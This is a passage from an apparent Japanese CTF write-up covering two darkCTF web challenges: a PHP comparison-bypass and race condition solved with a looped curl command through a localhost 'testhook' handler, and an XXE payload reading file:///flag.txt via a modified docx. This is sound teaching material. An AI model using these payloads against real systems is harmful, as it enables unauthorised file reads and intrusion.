#007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DD0000">"Nope"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br />echo&nbsp;</span><span style="color: #0000BB">$flag</span><span style="color: #007700">;<br />}<br />die(</span><span style="color: #DD0000">"Nope"</span><span style="color: #007700">);<br /></span>
</span>
</code>

phpのhighlight_fileの出力結果のようなので、HTML形式で保存してからブラウザで開く。

<?php
session_start();
include 'flag.php';

$login_1 = 0;
$login_2 = 0;

if(!(isset($_GET['user']) && isset($_GET['secret']))){
    highlight_file("index.php");
    die();
}

$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;

$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));
session_destroy();
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") {
    die("nope");
}

if (strcasecmp($_GET['secret'], "0x1337") == 0){
    $login_2 = 1;
}

file_put_contents($temp_name, "your_fake_flag");

if ($login_1 && $login_2) {
    if(@unlink($temp_name)) {
        die("Nope");
    } 
echo $flag;
}
die("Nope");

条件を満たすuserとsecretのパラメータをセットすればよさそうだが、

if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") {
    die("nope");
}

のチェックが邪魔をしており、完全一致だとここで弾かれる。

strcmp関数とstrcasecmp関数の仕様を確認すると、ただ、各パラメータの条件の判定方法に穴があることがわかる。 結果的に、以下のパラメータで条件を満たしつつ、チェックを迂回できる。
http://localhost:8080/?user=admin1&secret=0X1337

もう1つ条件があり、sha1(md5(date("ms").@$_COOKIE['PHPSESSID']))のファイル名の作成と削除をしているが、フラグ文字列を出力するには削除に失敗させる必要がある。

一見、date("ms")はミリ秒のように見えるが、実はである。 $_COOKIE['PHPSESSID']はランダムなセッションIDが入ってくるように見えるが、そもそもCookieをセットしていなければ空である。

よって、同時に複数リクエストを発行すればファイル名が同一になり、先行したリクエストが先にファイルを削除して、後続のリクエストのファイル削除処理が失敗する可能性がある。

3つほどターミナルを開いて、以下のコマンドを実行。

# for i in $(seq 1 100);do curl http://race.darkarmy.xyz:8999/testhook.php --data-urlencode "handler=http://localhost:8080/?user=admin1&secret=0X1337"; done

しばらく待つとターミナルの1つで以下の表示。

NopeNopeNopedarkCTF{9h9_15_50_a3fu1}NopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNope

フラグゲット
CTF{9h9_15_50_a3fu1}

File Reader

ファイルをアップロードするサービス。
適当なファイルをアップロードすると、pdfかdocxにしか対応していないと怒られる。

問題文がMy friend developed this website but he says user should know some Xtreme Manipulative Language to understand this web.とのことで、XXEを疑う。

docxをアップロードするとページ数が画面に表示された。 docxをzipとして展開してpagegrepすると、ページ数の定義はapp.xmlでしていることがわかる。

おそらくapp.xmlを読み込んでいると想定し、app.xmlを改ざんする。

  • <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///flag.txt" >]>を追加
  • pageタグの値を&xxe;に変更

zipで固め直してアップロードするとフラグが表示された。
f:id:graneed:20200927131919p:plain

フラグゲット
darkCTF{1nj3ct1ng_d0cx_f0r_xx3}